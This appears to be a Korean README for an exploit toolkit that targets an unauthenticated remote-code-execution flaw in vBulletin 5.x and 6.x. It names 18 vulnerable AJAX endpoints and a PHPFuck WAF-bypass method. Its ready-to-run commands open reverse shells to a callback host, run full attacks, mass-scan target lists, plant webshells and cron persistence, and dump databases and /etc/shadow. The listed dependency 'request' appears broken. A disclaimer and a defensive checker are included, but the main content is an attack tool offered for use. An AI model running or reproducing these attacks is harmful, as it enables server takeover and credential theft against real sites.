
CVE-2026-61511 – vBulletin 사전 인증 RCE (CVSS 9.8). 취약한 버전 5.x/6.x (패치되지 않음). Endpoint Pool, AJAX, PHPFuck WAF 우회를 통한 다중 익스플로잇. 전체 툴킷: 리버스 셸, 프록시, 지속성, 웹셸, 데이터베이스 작업, 방화벽 제어, 로그 관리, 대량 스캔. 2가지 버전: 다중 익스플로잇 및 안전 점검. Python 3.8+ 윤리적으로 사용하고, 합법을 준수하세요. 🔒

⚠️ 윤리적 사용 전용 – 승인된 보안 테스트
이 저장소의 도구는 승인된 보안 전문가, 블루 팀, 침투 테스터만을 위한 것입니다.
승인되지 않은 컴퓨터 시스템 접근은 CFAA(미국), Computer Misuse Act(영국), TCK 243/244(터키) 및 전 세계의 유사 법률에 따라 불법입니다.
CVE‑2026‑61511은 vBulletin의 AJAX 템플릿 렌더링 엔진에서 발생하는 PHP eval() 주입 결함입니다.
영향을 받는 버전: 5.0.0 – 5.7.5 및 6.0.0 – 6.2.1.
다중 공격 엔드포인트 – 이 버그는 여러 AJAX 핸들러에 존재합니다:
/ajax/render/pagenav/ajax/api/ad/replaceAdTemplate/ajax/render/widget_php/ajax/render/widget_tabbedcontainer_tab_panel/ajax/api/content_* /getIndexableContent 엔드포인트PHPFuck 인코딩 – 페이로드는 WAF 필터를 우회하고 임의의 PHP 코드 실행을 허용하는 PHP 연산자와 숫자의 시퀀스로 변환됩니다.
인증 불필요 – 공격자는 취약한 엔드포인트에 조작된 POST 요청을 보내 웹 서버의 권한으로 시스템 명령을 실행할 수 있습니다.
영향 – 전체 서버 장악, 데이터 탈취, 백도어, 수평 이동 및 지속성 확보. 버전을 업그레이드하세요!
| 도구 | 용도 | 대상 사용자 |
|---|---|---|
exploit.py | 리버스 셸, 지속성, 파일 작업, 데이터베이스 덤프, 방화벽 관리, 로그 관리, 포트 포워딩, SSH 키 배포, 네트워크 스캔 및 대량 스캔(멀티 스레드)을 포함한 전체 도구 키트. | 레드 팀 / 승인된 침투 테스터 |
safecheck.py | 악성 페이로드를 실행하지 않고 취약점을 확인하는 비침습적 검증 도구. 버전을 감지하고 모든 엔드포인트를 테스트하며 상세 보고서를 생성합니다. | 블루 팀 / 보안 감사자 |
git clone https://github.com/tc4dy/CVE-2026-61511-PoC-Exploit
cd CVE-2026-61511-PoC-Exploit
pip install -r requirements.txt
requirements.txt 내용:
request
urllib3
이 소프트웨어는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다.
| 기능 | exploit.py | safecheck.py |
|---|
| 취약점 탐지 | ✅ | ✅ |
| 버전 탐지 | ✅ | ✅ |
| 다중 엔드포인트 테스트(18개 경로) | ✅ | ✅ |
| 명령 실행 | ✅ | ❌ |
| 리버스 셸 | ✅ | ❌ |
| 파일 업로드/다운로드 | ✅ | ❌ |
| 지속성 메커니즘 | ✅ | ❌ |
| 웹 셸 배포 | ✅ | ❌ |
| 데이터베이스 작업 | ✅ | ❌ |
| 시스템 정보 수집 | ✅ | ✅ |
| 방화벽 관리 | ✅ | ❌ |
| 로그 관리 | ✅ | ❌ |
| 포트 포워딩 | ✅ | ❌ |
| SSH 키 배포 | ✅ | ❌ |
| 네트워크 스캔 | ✅ | ❌ |
| 대량 스캔(멀티 스레드) | ✅ | ❌ |
| 프록시 지원 | ✅ | ✅ |
| JSON 보고서 출력 | ✅ | ✅ |
| 대화형 메뉴 | ✅ | ❌ |
| 비침습적(안전) 모드 | ❌ | ✅ |
| 상세/디버그 모드 | ✅ | ✅ |
| 사용자 정의 명령 실행 | ✅ | ❌ |
| 다중 명령 체이닝 | ✅ | ❌ |
| 원격 파일 읽기 | ✅ | ❌ |
| 원격 파일 쓰기 | ✅ | ❌ |
| 시스템 사용자 관리 | ✅ | ❌ |
| 방화벽 우회 기술 | ✅ | ❌ |
| WAF 우회(PHPFuck) | ✅ | ✅ |
| 시나리오 | 권장 도구 |
|---|
| 블루 팀 – vBulletin 설치가 취약한지 확인 | safecheck.py |
| 보안 감사 – 비침습적 취약점 평가 | safecheck.py |
| 레드 팀 – 전체 익스플로잇을 포함한 승인된 침투 테스트 | exploit.py |
| 버그 바운티 – 책임 있는 공개 테스트 | safecheck.py |
| 대량 스캔 – 여러 대상의 취약점 확인 | exploit.py(탐지 전용) |
| 침해 대응 – 시스템이 손상되었는지 확인 | safecheck.py |
| 매개변수 | 설명 |
|---|
-t, --target | 대상 URL (예: http://forum.com/vb) |
--proxy | HTTP 프록시 (예: http://127.0.0.1:8080) |
--timeout | 요청 제한 시간(초) (기본값: 10) |
--retry | 경로당 재시도 횟수 (기본값: 3) |
--output | 상세 보고서를 JSON 파일로 저장 |
-v, --verbose | 상세 출력 |
-q, --quiet | 조용한 모드(최소 출력) |
--lhost | 익스플로잇 필수 – 콜백용 IP |
--lport | 콜백 포트 (기본값: 4444) |
--threads | 대량 스캔용 스레드 수 (기본값: 5) |
--exploit | 탐지 후 익스플로잇 수행 |
--full | 전체 공격(모든 모듈) |
--shell | 리버스 셸 시작 |
--webshell | 웹 셸 설치 (/shell.php) |
--persist | 지속성 설치(cron 작업) |
--dump | 데이터베이스 덤프 |
--dump-creds | 자격 증명 덤프 (/etc/passwd, /etc/shadow) |
--interactive | 성공적인 검증 후 대화형 메뉴 |
| # | 시나리오 | 명령 |
|---|
| 1 | 빠른 취약점 확인 | python safecheck.py -t http://target.com/vb |
| 2 | 보고서 포함 상세 스캔 | python safecheck.py -t http://target.com/vb --output report.json -v |
| 3 | 리버스 셸 | python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --lport 4444 --shell |
| 4 | 전체 공격(모든 모듈) | python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --full |
| 5 | 파일에서 대량 스캔 | python exploit.py -l targets.txt --lhost 192.168.1.100 --threads 20 --output results.json |
| 6 | 대화형 메뉴 모드 | python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --interactive |
| # | 엔드포인트 |
|---|
| 1 | /ajax/render/pagenav |
| 2 | /ajax/render/pagenav?template=page |
| 3 | /ajax/api/ad/replaceAdTemplate |
| 4 | /ajax/render/widget_php |
| 5 | /ajax/render/widget_tabbedcontainer_tab_panel |
| 6 | /ajax/api/content_infraction/getIndexableContent |
| 7 | /ajax/api/content_video/getIndexableContent |
| 8 | /ajax/api/content_text/getIndexableContent |
| 9 | /ajax/api/content_report/getIndexableContent |
| 10 | /ajax/api/content_redirect/getIndexableContent |
| 11 | /ajax/api/content_privatemessage/getIndexableContent |
| 12 | /ajax/api/content_poll/getIndexableContent |
| 13 | /ajax/api/content_photo/getIndexableContent |
| 14 | /ajax/api/content_link/getIndexableContent |
| 15 | /ajax/api/content_gallery/getIndexableContent |
| 16 | /ajax/api/content_event/getIndexableContent |
| 17 | /ajax/api/content_channel/getIndexableContent |
| 18 | /ajax/api/content_attach/getIndexableContent |